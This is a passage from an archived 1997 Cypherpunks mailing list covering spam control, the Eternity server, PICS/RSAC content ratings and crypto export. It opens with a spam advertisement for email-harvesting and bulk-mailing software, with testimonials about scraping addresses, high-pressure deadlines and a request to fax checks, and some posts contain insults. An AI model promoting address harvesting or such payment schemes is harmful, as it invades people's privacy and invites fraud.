Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 341-2924

______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the 
software. If I am not fully delighted, I will 
cheerfully be refunded the purchase price, no
questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive free lifetime technical support.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $3.00 for shipping charges.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)

YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP__________________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_______________________________________________

EMAIL ADDRESSES_____________________________________________

We accept Checks or Money Orders by mail.

I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924

***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713

Message-ID: 

A couple of minor nits in an otherwise excellent article:

Adam Back  writes:

>    So using USENET allows you to point the finger and say "it's not my
>    material, it's just USENET posts".  Much like altavista doesn't
>    issue cancel messages for posts in USENET news, it's not their
>    problem, they're just providing a view onto a distributed database.

As far as I can determine, dec's altavista does process cancels - not a good
way to use Usenet these days. :-(  However Dejanews doesn't process cancels.

>    Just look at the Scientologist battles.  It's simply amazing the
>    bravery of the Scientologist detractors in face of types of
>    harrasement thrown at them.

{Ex-Anti-}Scientologists are scum too. If they weren't nuts, they wouldn't
have joined the cult in the first place.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From kent at songbird.com  Tue Aug  5 16:43:46 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 6 Aug 1997 07:43:46 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <19970805161821.15943@bywater.songbird.com>

On Tue, Aug 05, 1997 at 10:28:02AM -0700, stewarts at ix.netcom.com wrote:
> >Kent Crispin  writes:
> >> In more general terms: A "free market" fundamentally grants more
> >> control to those with more money.  Postage of whatever variety turns
> >> the medium over to those with more money.  That would, in my opinion, 
> >> fundamentally alter the character of email in a strongly negative 
> >> direction. 
> 
> More to the point, if you're charging prices that don't reflect the
> true costs of the activities, it'll catch up with you after a while;

I am, of course, familiar with this line of reasoning :-).  

However, it is arguably the case that the true cost of email *is*
being paid.  The real problem is that email is unbelievably cheap, for
both recipient and sender -- a sender can send more mail than anyone
can read at a very low cost, and a recipient can easily receive more
mail than they can possibly read, again for a very low cost.  

[...]

> The present situation is that the social dynamics and economics are such
> that Tacky People can make money by being rude to everyone without being 
> interesting in return.  While trying to charge money for communications
> may work, I'm inclined to doubt it; the more interesting currency to
> try to model is Reputation, which leads to more like an Ender's Game
> kind of net, or to semi-closed communities like the Well (is?was?).

Yes, virtual cryptographically closed communities.  A concept whose
time has come, perhaps. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From aba at dcs.ex.ac.uk  Tue Aug  5 16:46:21 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 6 Aug 1997 07:46:21 +0800
Subject: eternity-0.08 up, more beta testers?
Message-ID: <199708052310.AAA07511@server.test.net>

We are now on eternity-0.08.  See:

	http://www.replay.com/aba/eternity/

and	http://www.dcs.ex.ac.uk/~aba/eternity/ for the software.

It's now much easier to install there are even some instructions on
what to do in the README.  There is now a configure script which
greatly simplifies installing.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 16:35:00 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Microsoft postpones plans to include RSACnews in Explorer

[Note that Microsoft still plans to include RSACnews in Explorer 5.0.
--Declan]

---------- Forwarded message ----------

Inter at ctive Week
August 5, 1997

Microsoft Tables 'News' Rating System For Explorer

By Steven Vonder Haar 1:30 PM EDT

Microsoft Corp. has tabled plans to include new technology in its
Internet Explorer 4.0 browser that would have made "news" oriented
sites exempt from content rating standards promoted for use on the
Internet.

Officials at leading media companies, including Time Warner Inc. and
Dow Jones & Co., have lobbied industry leaders during the past month
in an effort to generate support for an approach that would exclude
news sites from content rating systems such the one promoted by the
Recreational Software Advisory Council (RSAC).

The media companies, rallied by the Internet Content Coalition
industry group, contend that the ratings are the equivalent of private
censorship that will eventually cut into freedom of speech rights on
the Internet.

"No one puts a filter over the mailbox to determine whether Time
magazine is appropriate for our audience," said Dan Okrent,
editor-in-chief at Time Inc. New Media. "The same standards should
apply to the Internet."

RSAC's current rating tool is integrated into the current Explorer
browser. It allows parents to block access to content based on RSAC
ratings. Sites that do not carry RSAC ratings also can be blocked.

RSAC recently came up with a "news" category designed to allow display
of news content without suitability ratings for individual stories.

RSAC President C. Dianne Martin said Microsoft is running out of time
to implement the separate designation for news sites before the launch
of the 4.0 version of Explorer later this year. However, the company
plans to include the news designation in the 5.0 version of Explorer
when it is made available, likely sometime next year.

RSAC can be reached at www.rsac.org

Microsoft can be reached at www.microsoft.com

From enoch at zipcon.net  Tue Aug  5 17:12:21 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 6 Aug 1997 08:12:21 +0800
Subject: Eternity's 15 Minutes of Fame
In-Reply-To: <19970805235827.11932.qmail@zipcon.net>
Message-ID: <19970806000149.14388.qmail@zipcon.net>

Correction....

>          http://www.replay.com/~aba/eternity

Adam's server is http://www.replay.com/aba/eternity.  No "~".

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From enoch at zipcon.net  Tue Aug  5 17:12:49 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 6 Aug 1997 08:12:49 +0800
Subject: Eternity's 15 Minutes of Fame
Message-ID: <19970805235827.11932.qmail@zipcon.net>

There is a short piece by "Wired News" on the Eternity servers. 

   http://www.wired.com/news/news/technology/story/5778.html

I should add that all Eternity servers...

         http://www.zipcon.com/~enoch/eternity
         http://www.replay.com/~aba/eternity
and      http://eternity.insync.net/eternity

now have pretty icons and a more attractive format. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From jya at pipeline.com  Tue Aug  5 17:58:49 1997
From: jya at pipeline.com (John Young)
Date: Wed, 6 Aug 1997 08:58:49 +0800
Subject: JYA Up
Message-ID: <1.5.4.32.19970806003415.00689254@pop.pipeline.com>

AOL/PrimeHost has reactivated JYA.

AOL's story for the takedown is that our seldom used ftp 
component was being used by unidentified parties to traffic in 
warez and that it had nothing to do with the http part, "whose 
content does not concern us."

Still, it's odd we did not get a call about the problem as was done
a few weeks ago for a similar warez invasion. At that time, we 
offered to close our ftp, but the PrimeHost rep said no, we'll monitor 
it, as we do other ftps. I specifically asked to be notified if it
happened again, but wasn't. And it's not clear why it took a
week for me to find out what was what. Or why not AOL did not
just close the ftp and leave the http operating.

'Course, maybe the  takedown was signal of distrust of JYA
innocence. And a warning.

Thanks to the folks who offered more help than the teapot
tempest seems to have warranted -- so far.

From ravage at ssz.com  Tue Aug  5 18:03:08 1997
From: ravage at ssz.com (Jim Choate)
Date: Wed, 6 Aug 1997 09:03:08 +0800
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes (fwd)
Message-ID: <199708060050.TAA03620@einstein.ssz.com>

Forwarded message:

> From: bpettigrew at usa.net
> Date: Tue, 05 Aug 1997 15:23:52
> Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes

> Let the free speech organizations demonstrate their commitment to 
> their
> cause by creating their own ratings.

We are, by simply not rating ourselves and refusing to support others rating
systems.

Hint: FREE speech

                                                     Jim Choate
                                                     The Armadillo Group
                                                     ravage at ssz.com

From wcreply at ctia.org  Tue Aug  5 19:08:23 1997
From: wcreply at ctia.org (wcreply at ctia.org)
Date: Wed, 6 Aug 1997 10:08:23 +0800
Subject: No Subject
Message-ID: <199708060141.VAA05919@intraactive.com>

=============================================================
This update is sponsored by IBM   http://www.wow-com.com/professional/systemint/
=============================================================

Dear WOW-COM Reader:

WOW-COM(TM) is the wireless industry�s online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1) Upcoming Conference: CTIA's WIRELESS FRAUD '97

2) The Battle continues: Antenna Siting

3) CTIA Supports New Tauzin Legislation to Catch and Prosecute
 Electronic Stalkers

WIRELESS FRAUD '97 Conference
=========================================================
http://www.wow-com.com/professional/fraud/

WIRELESS FRAUD '97 Conference is September 28 through October 2 in Orlando, FL.  If you have not made your plans to be where the industry is going to be,  MAKE THEM NOW  because yesterday's wireless fraud solutions may not solve tomorrow's problems. Authentication is helping, so is RF Fingerprinting and other technologies. Despite our successes, wireless criminals haven't given up.  Come to Orlando and WIRELESS FRAUD '97 the last week of September and learn how you can combat fraud.  For more details please see complete information on www.wow-com.com's Fraud Microsite, or call (202)-785-0081 .

The Latest on the Antenna Siting Battle "Now Is the Time for Action, Not Inquiry" 
==========================================================
http://www.wow-com.com/professional/whatshot/

FCC grants CTIA petition challenging local zoning  moratoriums and seeks further comments.  CTIA Says: Further comment spells further delay.  Read the whole story here.

Electronic Stalking and the Wireless Privacy Enhancement Act of 1997
===================================================
http://www.wow-com.com/professional/

Earlier this year, CTIA President and CEO Thomas E. Wheeler testified before Rep.
Tauzin�s subcommittee, urging Congress to close a loophole that permitted what he termed "electronic stalking."  Tauzin�s legislation clarifies and tightens current law to ban the manufacture, modification, sale and use of equipment used to illegally intercept private, protected conversations over wireless phones . 

=============================
MORE WOW-COM(TM) FEATURES
=============================
WOW-COM(TM) is current: Updated 3x per day.
WOW-COM(TM) is insightful: CTIA�s unbiased analysis 
WOW-COM(TM) is beneficial: Find products and services in  WOW-COM(TM)'s Virtual 
Trade Show.   List open positions in the WOW-COM(TM) Career Center, get resumes 
via email, and hire qualified individuals.

The world of wireless is in constant motion.  Stay on top of the news and benefit from CTIA�s analysis by reading WOW-COM(TM) everyday.  You may remove yourself from the WOW-COM(TM) mailing list by going to http://www.wow-com.com/unsubscribe
========================================================

This update sponsored by: IBM
http://www.wow-com.com/professional/systemint/

Today, more than ever, wireless carriers must remain flexible and respond rapidly to changing market conditions. Your success will depend on understanding your strategic opportunities and threats and quickly responding to them. To accomplish this, a wireless carrier must build links  that are sophisticated, comprehensive and flexible. This is no small endeavor. IBM has developed a general multilevel blueprint of a wireless company to assist wireless carriers pursuing this goal. Take a look at how we can help you achieve your goals.

From azur at netcom.com  Tue Aug  5 19:26:34 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 6 Aug 1997 10:26:34 +0800
Subject: Eternity Content Suggestions
In-Reply-To: 
Message-ID: 

At 4:16 PM +1000 8/5/97, ? the Platypus {aka David Formosa} wrote:
>Warner Brothers has been shutting down any sites that even
>hint of sex in relation to any of there cartoon caritors.  Although thay
>clame it is to enforce tradmarks thay only will go after sites with a
>sexulial content.

About a year ago a very popular sheet music warez site, being hosted at
Uiveristy of Nevada Las Vegas, was taken down due to publisher pressure.  A
resurection is surely in order.

--Steve

From stewarts at ix.netcom.com  Tue Aug  5 19:27:39 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 6 Aug 1997 10:27:39 +0800
Subject: Canada's Entrust does end-run around ITAR
In-Reply-To: <199708020443.VAA10553@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970805174155.0077faa0@popd.ix.netcom.com>

At 09:43 PM 8/1/97 -0700, Vladimir Z. Nuri wrote:
>NY Times
>August 1, 1997
>Canadian Product Puts New Spin on Encryption Debate
>By PETER WAYNER 
...

Thanks for posting the article - it's an interesting product to
play with.

However, "end run" isn't the right metaphor -
it's a different ball field, it's Canadian Football now,
and the Yankees don't have the home field advantage any more
and can't keep making up silly rules like having to hand the ball
to the FBI Halfback to check for Commies under it before passing it.

It's true there are some silly Canadian rules, like the
Canadian Content bit, but PGP could satisfy that by 
replacing the Keygen.avi movie with someone singing "Oh, Canada"... :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From wcreply at ctia.org  Tue Aug  5 19:48:22 1997
From: wcreply at ctia.org (wcreply at ctia.org)
Date: Wed, 6 Aug 1997 10:48:22 +0800
Subject: WOW-COM(TM) News Update
Message-ID: <199708060231.WAA12437@intraactive.com>

=============================================================
This update is sponsored by IBM   http://www.wow-com.com/professional/systemint/
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Dear WOW-COM Reader:

WOW-COM(TM) is the wireless industry�s online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1) Upcoming Conference: CTIA's WIRELESS FRAUD '97

2) The Battle continues: Antenna Siting

3) CTIA Supports New Tauzin Legislation to Catch and Prosecute
 Electronic Stalkers

WIRELESS FRAUD '97 Conference
=========================================================
http://www.wow-com.com/professional/fraud/

WIRELESS FRAUD '97 Conference is September 28 through October 2 in Orlando, FL.  If you have not made your plans to be where the industry is going to be,  MAKE THEM NOW  because yesterday's wireless fraud solutions may not solve tomorrow's problems. Authentication is helping, so is RF Fingerprinting and other technologies. Despite our successes, wireless criminals haven't given up.  Come to Orlando and WIRELESS FRAUD '97 the last week of September and learn how you can combat fraud.  For more details please see complete information on www.wow-com.com's Fraud Microsite, or call (202)-785-0081 .

The Latest on the Antenna Siting Battle "Now Is the Time for Action, Not Inquiry" 
==========================================================
http://www.wow-com.com/professional/whatshot/

FCC grants CTIA petition challenging local zoning  moratoriums and seeks further comments.  CTIA Says: Further comment spells further delay.  Read the whole story here.

Electronic Stalking and the Wireless Privacy Enhancement Act of 1997
===================================================
http://www.wow-com.com/professional/

Earlier this year, CTIA President and CEO Thomas E. Wheeler testified before Rep.
Tauzin�s subcommittee, urging Congress to close a loophole that permitted what he termed "electronic stalking."  Tauzin�s legislation clarifies and tightens current law to ban the manufacture, modification, sale and use of equipment used to illegally intercept private, protected conversations over wireless phones . 

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This update sponsored by: IBM
http://www.wow-com.com/professional/systemint/

Today, more than ever, wireless carriers must remain flexible and respond rapidly to changing market conditions. Your success will depend on understanding your strategic opportunities and threats and quickly responding to them. To accomplish this, a wireless carrier must build links  that are sophisticated, comprehensive and flexible. This is no small endeavor. IBM has developed a general multilevel blueprint of a wireless company to assist wireless carriers pursuing this goal. Take a look at how we can help you achieve your goals.

From announce at lists.zdnet.com  Tue Aug  5 20:50:03 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Wed, 6 Aug 1997 11:50:03 +0800
Subject: Attend Windows NT Intranet Solutions!
Message-ID: 

-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          8/6/97
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What:       Windows NT Intranet Solutions August 11-15
Where:      Moscone Center -- San Francisco, CA
When:       August 11-15

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and expo program focused on all the major NT issues:

  -  Integrating Unix/NetWare and NT
  -  Migrating applications to NT
  -  NT scalability and clustering
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The expert-led Conference program, co-sponsored by PC WEEK,
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From cindy at mail1.mail-prom.com  Wed Aug  6 12:14:04 1997
From: cindy at mail1.mail-prom.com (cindy at mail1.mail-prom.com)
Date: Wed, 6 Aug 1997 12:14:04 -0700 (PDT)
Subject: adults only
Message-ID: <747743774MAIL-PROMO.COM>

TRY US OUT FOR FREE!!!
See and talk to a live person on your computer screen.
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From apache at bear.apana.org.au  Tue Aug  5 21:57:30 1997
From: apache at bear.apana.org.au (Apache)
Date: Wed, 6 Aug 1997 12:57:30 +0800
Subject: Costitutional Crisis
Message-ID: <199708060450.OAA01177@bear.apana.org.au>

5 Aug 1997 
==========  

Canberra AUSTRALIA

The High Court of Australia in a land mark case today found that
billions of dollars of taxes imposed every year on fuel, alcohol and
tabacco which increases the prices of these products by up to several
hundred percent were illegal and unconstitutional.

The court found that the states had no legal right under the
constitution to impose such taxes.

The federal government has offered to help the states collect the
revenue and pass it back to the states by way of grants. Calls have
been made for the imposition of consumption taxes to replace the lost
revenue.

None of the state premiers made any comments regarding the return of
the multi-billions in illegally collected assets to taxpayers.

The illegal taxes continue to be collected even after the High Courts
ruling.

The finding has resulted in some panicing state premiers saying the
High Court seemed to be intent on making the states ungovernable.

The federal government worried about the possibility that taxpayers
could  sue the states for repayment of mult-billions of dollars in
unconstitutionally collected taxes has announced it plans to
introduce a 100% 'Unjust Windfall Tax' to confiscate the proceeds of
winning claims. Legal experts believe such action by the federal
government may in itself may be in breach of the constitution.

--
Death to Tyrants
Help Austalians re-instate the constitution

From vznuri at netcom.com  Tue Aug  5 22:47:44 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 6 Aug 1997 13:47:44 +0800
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes
In-Reply-To: 
Message-ID: <199708060531.WAA19064@netcom9.netcom.com>

DM, JW, *please* get more info on PICS. in the early stages of its
development, many people were interested in using the rating
system to rate *cool* pages. that is, the same system could be
used to point to neat content and help people navigate. therefore,
your examples always involving censorious groups like the
"christian coalitian" is highly misleading. have you heard
of the "point communications" awards, surely? such a system
would benefit immensely from the standardization of ratings that
PICS is trying to achieve..

I urge all rabid libertarians to get a clue about what the
rating systems are actually trying to accomplish.

>From: Jonathan Weber 
>To: Declan McCullagh 
>Subject: ratings story
>
>
>Innovation/ Jonathan Weber 
> 
>A New Battle   Over Keeping   the Web Clean   
>
>   On one side are the big, mainstream Internet and computer companies, 
>led by America Online and Microsoft, which proclaim their eagerness to 
>make cyberspace "safe for families.'' Lining up against them are 
>free-speech advocates, including the American Civil Liberties Union and 
>the American Library Assn., which see ratings systems as censorship 
>tools. 

this is a silly us vs. them characterization for simpleminds of a much
more complex issue. there are no clearly defined sides and it's not
a war.

>""Ratings systems are developed to enable one individual to exercise 
>control over what another person sees,'' says Marc Rotenberg, director of 
>the Electronic Privacy Information Center. That might be OK for parents 
>and their children, he allows, but such a tool will inevitably be used by 
>public institutions and governmentsif not here then abroadto restrict 
>speech. 

not if the constitution is valid in our own country. let's cross that
bridge when the government comes to it. no reason to spread fear,
uncertainty, and doubt over something that's not happened.

>   An even bigger worry is that what's being sold as a voluntary system 
>that will include a multiplicity of ratings systems is actually going to 
>be an all-but-mandatory system that offers very few choices. 

worry, worry, fear, fear. same as with CDA. just as baseless in
the long run.

>   Consider, first of all, what happens to Web sites that decline to rate 
>their pages. Any PICS-based filter would have to block all unrated pages. 

bzzzzzzzzzzzzt. those that use the filters are free to configure them
how they want. virtually all the filtering software allows different
levels of security. one can often treat the bad rating as merely an
advisory warning.

>Already, ratings proponents are calling on the major search services, 
>such as Yahoo, not to index unrated sites.

who is calling for this? PICS was designed with the idea that many
ratings would be by third-parties. I don't think self-ratings are 
going to be that common on the net, and its really absurd for anyone
to pretend there is going to be a major pressure on anyone to
"rate" their sites.   who are these nameless advocates? where is
the data? this article is about nothing but baseless speculation.

 Overseas Web services would 
>face the choice of adopting a U.S. labeling system or forgoing access to 
>any U.S. readers. Web publishers that didn't want to participate might 
>suddenly find themselves in a deserted backwater of the network. 

yes, one can create all kinds of scary scenarios when you have a teeny
brain that is overcome with fright over the slightest new situation in
life. 

>   There's also the question of how disputes over ratings would be 
>arbitrated. Sites would be self-rated, and in fact the vast majority of 
>sites would have no incentive to misrepresent themselves. But what 
>happens when some do anyway? Would it be a crime for a porn site to 
>proclaim itself suitable for children? 

SELF RATINGS are not the main use of ratings. ratings mostly make
sense with THIRD PARTIES doing the rating. there is no such thing
as "misrepresentation". who is it that thinks everything is going
to be "self rated"? whoever does is missing the essential
THIRD PARTY ASPECT that is designed into the core of PICS.

>   At the moment, moreover, it doesn't appear that there are a variety of 
>ratings systems under development representing different values. In fact, 
>a system being created by the Recreational Software Advisory Council, a 
>Microsoft-led industry group, is quickly emerging as a de facto standard. 

so what?

>   The battles over how RSAC handles certain kinds of sites have only 
>just begun, but to see the inevitable problems one need look no further 
>than the ongoing discussion about news. 

"battles, fights"-- the mentality of the person who wrote this is clear.
where is this fighting going on ? who are the people? I haven't seen
any fights except a lot of fearmongering in cyberspace over completely
hypothetical situations.

>N   ews sites, reasonably enough, don't want to rate     themselves. At 
>the very least it would be impractical to label every page of a big news 
>site every day to warn of violent or tasteless or otherwise disturbing 
>content. And labeling news just doesn't seem very consistent with freedom 
>of the press. 

SELF RATING is not going to be a major use of ratings. existing 
filtering software rarely works through SELF RATING. whoever focuses
on SELF RATING relative to the rating systems doesn't have a clue about
the major use of the technology.

>   So the news organizations want to have a special news rating. Who 
>qualifies for a news rating? Well, a committeeoperating under the 
>auspices of the Internet Content Coalition, which represents a number of 
>major publishers (including The Times)would decide. News organizations 
>get together to decide who is and who isn't a news organization. Hmm. 

bzzzzzzzzzzzt. anyone is free to rate anything. this coalition can get
together and rate anything they want right now. PICS does not change
that. it only gives a way for users who CHOOSE TO to access those
ratings and integrate them with their browsers.

>   In the face of these objections, the Clinton administration and the 
>companies backing the ratings effort say that, first of all, something 
>has to be done to stave off new legislation. If industry doesn't act, 
>Congress will come up with "son of CDA,'' and this time it might hold up 
>in court. 

the earth might stop rotating tomorrow, too. why is it that we have
a constitution but we don't believe in it? that those who scream the
loudest about constitutional violations are those that are least likely
to believe in it?

>   And that is the nightmare of free-speech advocates: that a medium that 
>the Supreme Court declared ought to be treated at least as liberally as 
>print (ever heard of ratings for books?) will nonetheless be driven into 
>TV-like conformity. 

absurd.

>This is a legitimate fear.

especially if you like to engage in fearmongering.

>   PICS and RSAC have powerful forces behind them and stand a good chance 
>of establishing themselves as part of the mainstream Internet.

they represent DECENTRALIZED control at the heart, as anyone with half
a brain can recognize..

From stewarts at ix.netcom.com  Tue Aug  5 23:56:53 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Wed, 6 Aug 1997 14:56:53 +0800
Subject: Clinton's threat of line-item veto affect crypto bill?
In-Reply-To: <199708042336.QAA00471@ohio.chromatic.com>
Message-ID: <3.0.2.32.19970805100040.0077fe24@popd.ix.netcom.com>

At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>Does anyone have any idea whether Clinton's threat of using the
>line-item veto against portions of the big spending bill could
>be leverage against some pro-SAFE legislators?

The line item veto doesn't eliminate the political games in the budget,
it just changes the details a bit.  Sure, he could threaten to
veto their favorite pork-barrel projects for crossing him on crypto,
just as he could threaten to veto them if they don't support
his favorite pork.  But as someone else said, he can threaten to
veto the crypto bill itself, or (perhaps worse) threaten to veto it
unless it's "balanced", by including controls on domestic cryptography
in return for letting Big Business export more products.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From dlv at bwalk.dm.com  Wed Aug  6 00:05:17 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 15:05:17 +0800
Subject: JYA Up
In-Reply-To: <1.5.4.32.19970806003415.00689254@pop.pipeline.com>
Message-ID: 

John Young  writes:

> AOL/PrimeHost has reactivated JYA.
>
> AOL's story for the takedown is that our seldom used ftp
> component was being used by unidentified parties to traffic in
> warez and that it had nothing to do with the http part, "whose
> content does not concern us."
>
> Still, it's odd we did not get a call about the problem as was done
> a few weeks ago for a similar warez invasion. At that time, we
> offered to close our ftp, but the PrimeHost rep said no, we'll monitor
> it, as we do other ftps. I specifically asked to be notified if it
> happened again, but wasn't. And it's not clear why it took a
> week for me to find out what was what. Or why not AOL did not
> just close the ftp and leave the http operating.
>
> 'Course, maybe the  takedown was signal of distrust of JYA
> innocence. And a warning.
>
> Thanks to the folks who offered more help than the teapot
> tempest seems to have warranted -- so far.

Sounds like bullshit.

I urge you to find a more honorable upstream provider.
Preferrably someone who gets connectivity off of AGIS, who doesn't
censor content.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From vznuri at netcom.com  Wed Aug  6 00:13:51 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 6 Aug 1997 15:13:51 +0800
Subject: spam-- a technological solution/proposal
Message-ID: <199708060608.XAA22391@netcom9.netcom.com>

for a long time conversation here has covered the possibility of 
"certificates" especially the cryptography and algorithms behind
them. also, spam is a frequent topic. in fact I think the term
"spam" was used on this mailing list almost before anywhere else.

at the heart, spam is a fascinating question. the internet has
been designed to survive a nuclear war through its decentralization,
i.e. a threat from without. but what about a "threat from within"
such that your own nodes can be corrupted? this is the case with
spammers. it's an extremely difficult question to solve, and involves
concepts like a body, "immune system", cancer, etc.

after thinking about it for many moons, here is an interesting idea that I 
think could work on "spam prevention" using certificates. it's 
somewhat decentralized and has other nice "cyberspace friendly" features.

a "spam-free certifying agency" is started. this is essentially
a web site that allows people to download "spam-free certification".
it parcels out new digital signatures to anybody who asks.

the system works simply as follows: a person is spam-free until 
"the net" complains otherwise. the agency decides what threshold
of complaints constitutes a loss of "spam-free certification". 
when it revokes a certificate, it sends out the revocation to
the net.

you'd need something like the DNS system today to carry all the
spam-free certificates in a distributed fashion. everyone who
reads their mail can have automated checkers that throw out 
mail from non "spam-free" certified emailers.  this system requires
people to put their spam-free certificates in their mail.

the idea is that spammers could get intially certificates, but that 
complaints would be so numerous and so immediate that they couldn't get out 
that many letters before they lost their certification due to everyone
immediately complaining.

another interesting approach would be for internet providers not to allow
too many mails to be sent after a new spam-free certification of a 
new email address. that is, tie in the email addresses themselves to
the spam-prevention system.

interestingly many of these ideas are similar to the credit-reporting
agency techniques. you can get credit after you get a credit history.
the more history, the more credit. perhaps a system that limited the
amount of mail a person could send based on a "spam free history" 
could work well.

I think you could have a system that had multiple spam-free
certification agencies. you could have standards that try to juggle
among multiple agencies and certificate schemes. a variety of schemes
is better than none.

of course, all the usual caveats apply here. it's patently obvious
this system could be misused and manipulated. however I believe it's
the most promising route of anything that's been tried. I personally
think legislative/litigation solutions are a waste of time and potentially
harmful. if anyone would like to help develop this, please send me
email.

From rdl at mit.edu  Wed Aug  6 00:32:31 1997
From: rdl at mit.edu (Ryan Lackey)
Date: Wed, 6 Aug 1997 15:32:31 +0800
Subject: distributed data store, a la eternity
Message-ID: <199708060720.DAA17656@the-great-machine.mit.edu>

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From nobody at REPLAY.COM  Wed Aug  6 01:15:54 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 6 Aug 1997 16:15:54 +0800
Subject: "Please get more info on PICS"
Message-ID: <199708060712.JAA23357@basement.replay.com>

"Vladimir Z. Nuri" wrote:

> DM, JW, *please* get more info on PICS. in the early stages of its
> development, many people were interested in using the rating
> system to rate *cool* pages. that is, the same system could be
> used to point to neat content and help people navigate. therefore,
> your examples always involving censorious groups like the
> "christian coalitian" is highly misleading. have you heard
> of the "point communications" awards, surely? such a system
> would benefit immensely from the standardization of ratings that
> PICS is trying to achieve..
